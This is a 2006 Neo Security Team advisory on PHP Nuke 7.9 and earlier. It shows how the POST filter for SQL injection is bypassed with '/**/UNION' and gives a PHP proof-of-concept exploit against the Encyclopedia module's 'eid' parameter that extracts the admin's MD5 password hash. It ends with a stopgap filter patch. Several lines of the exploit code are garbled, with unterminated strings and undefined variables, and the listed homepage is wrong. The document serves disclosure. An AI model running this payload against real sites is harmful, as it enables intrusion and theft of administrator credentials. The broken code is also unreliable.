[N]eo [S]ecurity [T]eam [NST] - Advisory 27 - 2006-10-22  
--------------------------------------------------------  
Program: PHP Nuke  
Homepage: http://www.php.net  
Vulnerable Versions: PHP Nuke <= 7.9  
Risk: High!  
Impact: Critical Risk  
  
-==PHP Nuke <= 7.9 SQL Injection and Bypass SQL Injection Protection  
vulnerabilities==-  
---------------------------------------------------------  
  
- Description  
---------------------------------------------------------  
PHP-Nuke is a news automated system specially designed to be used in  
Intranets and Internet. The Administrator has total control of his web site,  
registered users, and he will have in the hand a powerful assembly of tools  
to maintain an active and 100% interactive web site using databases.  
  
- Tested  
---------------------------------------------------------  
localhost & many sites  
  
- Vulnerability Description  
---------------------------------------------------------  
  
The most important and critical vulnerability is in the code designed to  
filter the POST inputs to protect the script against  
SQL Injections.  
  
  
==[ mainfile.php 143-146 ]==========================  
[...]  
if (stripos_clone($postString,'%20union%20') OR  
stripos_clone($postString,'*/union/*') OR stripos_clone($postString,' union  
') OR stripos_clone($postString_64,'%20union%20') OR  
stripos_clone($postString_64,'*/union/*') OR stripos_clone($postString_64,'  
union ') OR stripos_clone($postString_64,'+union+')) {  
header("Location: index.php");  
die();  
}  
[...]  
==[ end mainfile.php ]==============================  
  
The protection is very good... but we can bypass it by using something like  
'/**/UNION ' or ' UNION/**/' ;)  
  
Also i found a SQL Injection vulnerability in the Encyclopedia module. The  
"eid" variable isn't filtered at any moment, so if  
we bypass the sql injection protection we can execute arbitrary sql  
commands. With a simple UNION statement we get the  
md5 hash of the admin password.  
  
Here is the real life Proof of Concept exploit.  
  
==Real Proof of Concept exploit==  
<?

$host="localhost";

$fp = fsockopen($host, $port, $errno, $errstr, 30);  
$data="query=fooaa&eid=foo'/**/UNION SELECT pwd as title FROM  
$prefix_authors WHERE '1'='1";  
  
if ($fp) {  
$p="POST /phpnuke/modules.php?name=Encyclopedia&file=search

$p.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,

$p.="Pragma: no-cache\r\n";  
$p.="Connection: keep-alive\r\n\r\n";  
$p.=$data;  
  
fwrite($fp, $p);  
  
while (!feof($fp)) {  
$content .= fread($fp, 4096);  
}  
  
preg_match("/([a-zA-Z0-9]{32})/", $content, $matches);  
  
print_r($matches);  
}  
?>  
==Real Proof of Concept exploit==  
  
Whit this PoC code i get the md5 hash of the first admin (God) of the  
nuke_authors table.  
  
- How to fix it? More information?  
--------------------------------------------------------  
  
You can found a patch on http://www.neosecurityteam.net/foro/  
  
Also, you can modify the line 143 of mainfile.php, adding one more  
protection like:  
  
==[ mainfile.php old line (143) ]==========================  
[...]  
if (stripos_clone($postString,'%20union%20') OR  
stripos_clone($postString,'*/union/*') OR stripos_clone($postString,' union  
') OR stripos_clone($postString_64,'%20union%20') OR  
stripos_clone($postString_64,'*/union/*') OR stripos_clone($postString_64,'  
union ') OR stripos_clone($postString_64,'+union+')) {  
}  
[...]  
==[ end mainfile.php ]=====================================  
  
==[ mainfile.php new line (143) ]==========================  
[...]  
if (stripos_clone($postString,'%20union%20') OR  
stripos_clone($postString,'*/union/*') OR stripos_clone($postString,' union  
') OR stripos_clone($postString_64,'%20union%20') OR  
stripos_clone($postString_64,'*/union/*') OR stripos_clone($postString_64,'  
union ') OR stripos_clone($postString_64,'+union+') OR  
stripos_clone($postString_64,  
'*/UNION ') OR stripos_clone($postString_64, ' UNION/*')) {  
}  
[...]  
==[ end mainfile.php ]=====================================  
  
That's a momentary solution to the problem. I recommend to download the PHP  
Nuke 8.0 version in the next days... it is not  
free at the moment.
